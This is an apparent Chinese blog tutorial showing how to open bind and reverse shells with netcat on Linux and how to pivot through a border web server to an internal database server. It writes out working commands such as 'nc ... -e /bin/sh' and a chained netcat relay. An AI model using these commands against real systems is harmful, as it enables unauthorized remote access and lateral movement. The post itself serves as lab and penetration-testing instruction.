内网中使用netcat进行正向和反向获取shell

本次演示在linux环境下
一般用外网机器对内网机器进行访问时,多用反向shell,内网机器与内网机器之间多用正向shell
正向shell
由于内网及其属于边界服务器,因此我们先进行正向shell演示(正向shell是在目标机器上进行监听):
内网机器上命令:nc -lvp 4444 -e /bin/sh
本地机器上命令:nc 10.0.78.41 4444
在这里插入图片描述

显示已经连接
进行验证:
在这里插入图片描述

说明正向连接成功
反向shell
反向shell是在本地vps上进行监听,目标机器进行连接
本地机器上命令:nc -lvp 9999
内网机器上命令:nc 10.0.78.29 9999 -e /bin/sh
在这里插入图片描述

显示已经连接
进行验证:
在这里插入图片描述

说明反向连接成功
接下来演练一个外网机器远程反向shell内网机器,以边界服务器为跳板
准备条件:
1.外网机器(vps)
2.边界服务器(web服务器)
3.内网服务器(数据库服务器)
Vps和web服务器,数据库服务器中间隔着一个防火墙lan IP:192.168.101.1
各ip分别如下:
1.外网机器(vps)
在这里插入图片描述

2.边界服务器(web服务器)

在这里插入图片描述

3.内网服务器(数据库服务器)

在这里插入图片描述

接下来
在vps输入命令:nc -lvp 1234
在数据库服务器输入命令:nc -lvp 1234 -e /bin/sh
在web服务器输入命令:nc -v 10.0.78.29 1234 -c “nc -v 192.168.101.103 1234”
在这里插入图片描述

显示已经连接
进行验证:
在这里插入图片描述

发现此时ip地址为数据库服务器的ip地址,成功

  • 4
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值